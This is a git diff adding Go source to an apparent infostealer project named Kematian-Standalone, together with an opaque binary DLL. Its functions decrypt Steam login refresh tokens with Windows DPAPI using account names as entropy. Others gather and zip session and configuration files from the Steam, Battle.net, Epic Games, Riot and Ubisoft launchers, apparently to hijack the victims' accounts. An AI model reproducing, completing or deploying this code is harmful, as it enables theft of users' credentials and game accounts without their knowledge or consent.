result.Games = append(result.Games, types.GameInfo{ + ID: acf["appid"], + Name: acf["name"], + Installed: installed, + }) + } + } + } +} + +func parseACF(data string) map[string]string { + result := map[string]string{} + var inBlock bool + + for _, line := range normLines(data) { + line = strings.TrimLeft(line, "\t ") + if line == "{" { + inBlock = true + continue + } + if line == "}" { + break + } + if !inBlock || line == "" { + continue + } + if strings.HasPrefix(line, `"`) { + key, val := vdfKeyValue(line) + if key != "" { + result[key] = val + } + } + } + return result +} + +func vdfKeyValue(line string) (string, string) { + key := vdfNthQuoted(line, 0) + val := vdfNthQuoted(line, 1) + return key, val +} + +func vdfValue(line string) string { + return vdfNthQuoted(line, 1) +} + +func vdfNthQuoted(line string, n int) string { + count := 0 + i := 0 + for count <= n && i < len(line) { + start := strings.Index(line[i:], `"`) + if start == -1 { + return "" + } + start += i + 1 + end := strings.Index(line[start:], `"`) + if end == -1 { + if count == n { + return line[start:] + } + return "" + } + if count == n { + return line[start : start+end] + } + i = start + end + 1 + count++ + } + return "" +} + +func extractSteamTokens(steamPath, localVdfPath string) []string { + loginUsersPath := filepath.Join(steamPath, "config", "loginusers.vdf") + if !pathExists(loginUsersPath) { + loginUsersPath = filepath.Join(os.Getenv("LOCALAPPDATA"), "Steam", "config", "loginusers.vdf") + } + if !pathExists(loginUsersPath) { + return nil + } + + loginData, _ := os.ReadFile(loginUsersPath) + localData, _ := os.ReadFile(localVdfPath) + if loginData == nil || localData == nil { + return nil + } + + accounts := parseVDFAccountNames(string(loginData)) + if len(accounts) == 0 { + return nil + } + + return findSteamTokens(string(localData), accounts) +} + +func parseVDFAccountNames(data string) []string { + var accounts []string + for _, line := range normLines(data) { + line = strings.TrimSpace(line) + if strings.HasPrefix(line, `"AccountName"`) { + val := vdfValue(line) + if val != "" { + accounts = append(accounts, val) + } + } + } + return accounts +} + +func findSteamTokens(data string, accounts []string) []string { + normalized := strings.ReplaceAll(data, "\r\n", "\n") + var tokens []string + + for _, account := range accounts { + prefix := `"` + account + `"` + idx := strings.Index(normalized, prefix) + if idx == -1 { + continue + } + + blockStart := strings.Index(normalized[idx:], "{") + blockEnd := strings.Index(normalized[idx:], "}") + if blockStart == -1 || blockEnd == -1 || blockEnd < blockStart { + continue + } + + block := normalized[idx+blockStart : idx+blockEnd] + tokenStart := strings.Index(block, `"Token"`) + if tokenStart == -1 { + tokenStart = strings.Index(block, `"RefreshToken"`) + } + if tokenStart == -1 { + continue + } + + tokenLine := block[tokenStart:] + if lineEnd := strings.Index(tokenLine, "\n"); lineEnd > 0 { + tokenLine = tokenLine[:lineEnd] + } + + tokenHex := vdfValue(tokenLine) + if len(tokenHex) < 64 { + continue + } + + decrypted := decryptSteamToken(tokenHex, account) + if decrypted != "" { + tokens = append(tokens, account+"."+decrypted) + } + } + + return tokens +} + +func decryptSteamToken(tokenHex, account string) string { + tokenBytes, err := hex.DecodeString(tokenHex) + if err != nil || len(tokenBytes) < 16 { + return "" + } + + entropy := []byte(account) + out, err := dpapiDecrypt(tokenBytes, entropy) + if err != nil || len(out) == 0 { + return "" + } + + return strings.TrimRight(string(out), "\x00") +} + +func dpapiDecrypt(data, entropy []byte) ([]byte, error) { + type blob struct { + cbData uint32 + pbData *byte + } + + var inBlob, outBlob blob + inBlob.cbData = uint32(len(data)) + if len(data) > 0 { + inBlob.pbData = &data[0] + } + + var entPtr uintptr + if len(entropy) > 0 { + entBlob := blob{ + cbData: uint32(len(entropy)), + pbData: &entropy[0], + } + entPtr = uintptr(unsafe.Pointer(&entBlob)) + } + + proc := windows.NewLazySystemDLL("crypt32.dll").NewProc("CryptUnprotectData") + r, _, err := proc.Call( + uintptr(unsafe.Pointer(&inBlob)), + 0, entPtr, 0, 0, 0, + uintptr(unsafe.Pointer(&outBlob)), + ) + if r == 0 { + return nil, err + } + defer windows.LocalFree(windows.Handle(uintptr(unsafe.Pointer(outBlob.pbData)))) + + out := make([]byte, outBlob.cbData) + copy(out, unsafe.Slice(outBlob.pbData, outBlob.cbData)) + return out, nil +} + +func pathExists(path string) bool { + _, err := os.Stat(path) + return err == nil +} + +func ScanBattleNet() []types.BattleNetResult { + var results []types.BattleNetResult + + bnDir := filepath.Join(os.Getenv("APPDATA"), "Battle.net") + logf("[gaming] Battle.net dir=%q exists=%v", bnDir, pathExists(bnDir)) + if !pathExists(bnDir) { + return nil + } + + entries, _ := os.ReadDir(bnDir) + for _, e := range entries { + if e.IsDir() { + scanBattleNetRecursive(filepath.Join(bnDir, e.Name()), &results) + } else if strings.HasSuffix(e.Name(), ".db") || strings.HasSuffix(e.Name(), ".config") { + results = append(results, types.BattleNetResult{ + Path: filepath.Join(bnDir, e.Name()), + Name: e.Name(), + }) + } + } + + return results +} + +func scanBattleNetRecursive(dir string, results *[]types.BattleNetResult) { + entries, err := os.ReadDir(dir) + if err != nil { + return + } + for _, e := range entries { + if e.IsDir() { + scanBattleNetRecursive(filepath.Join(dir, e.Name()), results) + } else if strings.HasSuffix(e.Name(), ".db") || strings.HasSuffix(e.Name(), ".config") { + *results = append(*results, types.BattleNetResult{ + Path: filepath.Join(dir, e.Name()), + Name: e.Name(), + }) + } + } +} + +func ScanEpic() []types.EpicResult { + var results []types.EpicResult + + path := filepath.Join(os.Getenv("LOCALAPPDATA"), "EpicGamesLauncher", "Saved", "Config", "Windows", "GameUserSettings.ini") + logf("[gaming] Epic config=%q exists=%v", path, pathExists(path)) + if !pathExists(path) { + return nil + } + + data, err := os.ReadFile(path) + if err != nil || len(data) == 0 { + return nil + } + + content := string(data) + if strings.Contains(content, "RememberMe") || strings.Contains(content, "Offline") { + results = append(results, types.EpicResult{Path: path, Name: "GameUserSettings.ini"}) + } + + return results +} + +func ScanRiot() []types.RiotResult { + var results []types.RiotResult + + riotDir := filepath.Join(os.Getenv("LOCALAPPDATA"), "Riot Games", "Riot Client", "Data") + logf("[gaming] Riot data dir=%q exists=%v", riotDir, pathExists(riotDir)) + if pathExists(riotDir) { + results = append(results, types.RiotResult{Path: riotDir, Name: "RiotGamesPrivateSettings.yaml"}) + } + + configDir := filepath.Join(os.Getenv("LOCALAPPDATA"), "Riot Games", "Riot Client", "Config") + logf("[gaming] Riot config dir=%q exists=%v", configDir, pathExists(configDir)) + if pathExists(configDir) { + results = append(results, types.RiotResult{Path: configDir, Name: "Config"}) + } + + return results +} + +func ScanUplay() []types.UplayResult { + var results []types.UplayResult + + path := filepath.Join(os.Getenv("LOCALAPPDATA"), "Ubisoft Game Launcher") + logf("[gaming] Uplay dir=%q exists=%v", path, pathExists(path)) + if pathExists(path) { + results = append(results, types.UplayResult{Path: path, Name: "Ubisoft Game Launcher"}) + } + + return results +} + +const maxZipFile = 50 * 1024 * 1024 + +func ZipSteamSession(steamPath string) ([]byte, error) { + if steamPath == "" || !pathExists(steamPath) { + return nil, os.ErrNotExist + } + + var files []string + + entries, _ := os.ReadDir(steamPath) + for _, e := range entries { + if !e.IsDir() && strings.Contains(e.Name(), "ssfn") { + if info, _ := e.Info(); info != nil && info.Size() < maxZipFile { + files = append(files, filepath.Join(steamPath, e.Name())) + } + } + } + + configDir := filepath.Join(steamPath, "config") + for _, name := range []string{"loginusers.vdf", "config.vdf", "DialogConfig.vdf"} { + p := filepath.Join(configDir, name) + if pathExists(p) { + files = append(files, p) + } + } + + localVdf := filepath.Join(os.Getenv("LOCALAPPDATA"), "Steam", "local.vdf") + if pathExists(localVdf) { + files = append(files, localVdf) + } + + if len(files) == 0 { + return nil, os.ErrNotExist + } + logf("[gaming] ZipSteamSession: %d files from %s", len(files), steamPath) + return ziputil.ZipFiles(files, filepath.Dir(steamPath)) +} + +func ZipBattleNet() ([]byte, error) { + bnDir := filepath.Join(os.Getenv("APPDATA"), "Battle.net") + if !pathExists(bnDir) { + return nil, os.ErrNotExist + } + return ziputil.ZipDirectory(bnDir) +} + +func ZipEpic() ([]byte, error) { + configDir := filepath.Join(os.Getenv("LOCALAPPDATA"), "EpicGamesLauncher", "Saved", "Config", "Windows") + if !pathExists(configDir) { + return nil, os.ErrNotExist + } + return ziputil.ZipDirectory(configDir) +} + +func ZipRiot() ([]byte, error) { + riotDir := filepath.Join(os.Getenv("LOCALAPPDATA"), "Riot Games", "Riot Client") + if !pathExists(riotDir) { + return nil, os.ErrNotExist + } + + var files []string + for _, sub := range []string{"Data", "Config"} { + d := filepath.Join(riotDir, sub) + if !pathExists(d) { + continue + } + filepath.Walk(d, func(path string, info os.FileInfo, err error) error { + if err != nil || info.IsDir() || info.Size() > maxZipFile { + return nil + } + files = append(files, path) + return nil + }) + } + if len(files) == 0 { + return nil, os.ErrNotExist + } + return ziputil.ZipFiles(files, riotDir) +} + +func ZipUplay() ([]byte, error) { + uplayDir := filepath.Join(os.Getenv("LOCALAPPDATA"), "Ubisoft Game Launcher") + if !pathExists(uplayDir) { + return nil, os.ErrNotExist + } + return ziputil.ZipDirectory(uplayDir) +} diff --git a/Kematian-Standalone/native/recovery/log.go b/Kematian-Standalone/native/recovery/log.go new file mode 100644 index 0000000..ddc9143 --- /dev/null +++ b/Kematian-Standalone/native/recovery/log.go @@ -0,0 +1,26 @@ +package recovery + +import ( + "fmt" + "log" + "sync" +) + +func logf(format string, args ...interface{}) { + log.Printf("[recovery] "+format, args...) +} + +func safeRecover(where string) { + if r := recover(); r != nil { + logf("panic recovered in %s: %v", where, r) + } +} + +func recoverErrors(where string, errs *[]string, mu *sync.Mutex) { + if r := recover(); r != nil { + logf("panic recovered in %s: %v", where, r) + mu.Lock() + *errs = append(*errs, fmt.Sprintf("%s: %v", where, r)) + mu.Unlock() + } +} diff --git a/Kematian-Standalone/native/recovery/platform/compat-layer.dll b/Kematian-Standalone/native/recovery/platform/compat-layer.dll new file mode 100644 index 0000000000000000000000000000000000000000..579bc72cc92b7963ee4affc9ce75feae0e54dfc4 GIT binary patch literal 350208 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≥*Y>AWZ0W65iE4RjE6}vmk_6{AVSEjVb&aE6)S<6(=)cT&2s6J#{$EnI zIH!|Qj%>@3E&eBk;NNyqDBl(jU`M_%h7k6g6rS0iFO1!qFN~{2S7>_4a8h`>QtN^U zNue{hbGuQuc>>TXJ#`r2)jv|ZZ3dHcieBp>$4YR|*mxw#h$}5A2jJu^COG=~Emc$UOc)A9We-1_4dy!L2`9=0t8F|Ci~cQzK*2_2r}(U?FK%``T|C{BpQOED-*#hlg-b44tE zX$)GZV$${HR+?m0;Cb$hL5EaK&3eM)UdY4x$DolhXj}}+k3sZ$8c*>- z459=0JZvc-D)$Ds^ry4&YMK1dJg@697_Fv~HvJ8=w5t($x zPm#(x0VDGBnX4$SS&h@7oJzpFC<1NKVk?iL;?$@H@*+xs%Z%Ltr&VCcc@-EQXJ@!WI+F|Blr$AE zrUQVMkJGn!62ai|Pthkj zCg^cO!fwMONR6X#)t>L@46YS#m8@}Myq1$kVUY}io?~bGA&v}G{Lt4RV=j$dh(c6 zPaJt}S3T@7p(FcK&t}f}liO9sZ)1#a@m@@XNcQTJ!^ExcUECco2rd(YJ23`%FPd<+ zF&M5w)p#$a3SLqq;rAd9lFcey!}K=fK{!ZIt3^g?_$qP{(CbYAs(u7PnPm{@*C~(% zrw%QBVHbeC1k?jKgguY%u>)}k0rdwFfY^OdAKber02)H10slKdV(}Cvc#FrR#0)v_ z*|HHktJhf0Lf@xV7E(SZ0J%217eNBk-Q!X7jOoJm^-qFq5I_Rz(FLd|(JVd}URw7Y2jUpB7J%h5G{tD1eY(f>(<7XCX?-D9~GAjKNT4EOP zX75bFdW{n7V+p>XRA0AEMcA|U0dp6c^f&;t8E|%MINzK>5ZSj+VCk zJsCAihGtiDjc#Q79aFOTV8AbGbKP^RsU>>q@ZCUkDBaj_GCdbH6whq&oSmrmSYh$HP{aRpVYDz7&A zYi5uB+BW?R8KiCUnb6Txo8=7rw4R@Sl$P`GPe0n;8jY2FQ((r6I#{Eznoq@n*lq>5 zP6p~^ibm$1m9BsUE)Ig(S?2}s>tMwtA9Udq_1dheJ0#D+-OlnwT zj|b6?vG*e!xU1s39aAyat}Pp)Ygz@#RLyy_k{;w?tKX_5wYG@071agf`$z=Q4qeRe8~=9H5x2L-5L)^ zHKz(bBXtWxx3)uP^LShIQK{Z$li*V~-uzMY{qv_oyY0yPgK3|@{v71G=( z_%`6JAZ_$oh~*uhFVy;cJ_rCKm^N)5V2R_9IP60@C79Nx*%rW~eApV&tW2kn6

A zX*M1n^~o=&M<#HGn}KKZiDce&^k&^l6*%e!Tb-?hDnCu0l<)(N$$puEIg|2WiJ)kMer8 zn&BtNkWRv5^-jkPXdMPFQA33FEi?fqjvW*sOS|P;XJEizM$w}(I4}?yfb(e%7{c&a z4<*#^$rI!+haKrf)& zMb-noV)KJdev7a`F(Fop$EgBbET${EbZ?-QFgtI+9&tnEphCqmT2+B6D)T!iCRI3` zjQpWv+RP>f$a~ohQ>;Oi-=cEpJbbj8Kd*!yb5X*|eS+{Rt?{(w(xHbJD6}es?T={wGHkW@oNR&;1rOHkU)D(h zF|lN)CmBmwrsv8b4~@#`Fwf!a! z-5B<<|67tkWq|>ZY>ESglCv28$@>`d`dUcUqX)ep4-5-Jr*k_P1_LDm$1rddfwY{& zIJgQ)))AkPU&O{smY$RS9g$s1I8@s34DhgyiXWa#5EVK+0T3EM*@w4-pwUBzggq9| z3u@bckR7EfdufPitb3FiJlvyPpx1je9d<1|cKsQ#Y#Mli=q%Wxc8mFVKNQM6EI!k+ zp?;<50L^5OH5K3-4&vsnv51bL9c`m}mJJ?OcbvNnabhK?Klx#=5rJmVlQ3w1AJs3aP zoymLwRhHAglI5bL@Eo?CMTudfnZpEIlV^J0py0Cg1Fhc2m@~O!a>@tk!f>ODUPVUU zZv;Je;$F+VzR?Qws`gp^?w_nM&+)80YgXwYhmDa0wPb#7{Z$rlwEikbMl@fvPMMzE zrb*23R2gRigZ>l;Ptik7(FL!b?A}6c6|M6RcOn#nfH#^<`^-u&j+=l`akZW{h=cBA z+Pxj_1T|qrg;;uAY5oV}^k5UOlvH*k2Pi*7eT%}1&6Xg@dF%9c-?w-_w%J!tzhc=q zs`s7BlNG9fJU@Wii3H?NLp1^U8-tjD{DXreAZt08Nn`rQfH9_9tyR|C*}Azf16ap^ z4v7UCj{cMhoIkzFAI`{f>p1B(9SeoKhfO}Jn7g#8!~>mC1<|U=Ac<-oq!m3U`;Rlc z*u3T`-4US1`oo{d)0Ugszq8uf#gpM?6lzK1hzW)7eT3NjAFy0(kUX;PtUE^~sZF|! z*dk7BiAHSZ6~rbY#J_>j!X5yTl3Q$+uv~7l9J16W)p}BF@^J{Cm8vR|DxbIYi;$Np zPn0+Fd>^|!Un9@AtClYrhT0e6TZCwZP&3AjU`q?j7#U2U{E)p-lrKhx*>P>DUkly$ zc{hYhDQ}hgYCYGH_gCb7ryN~2vDTBopZ>TWy$HCq%(!jKz;|k-c3#PloXTgTV`@ 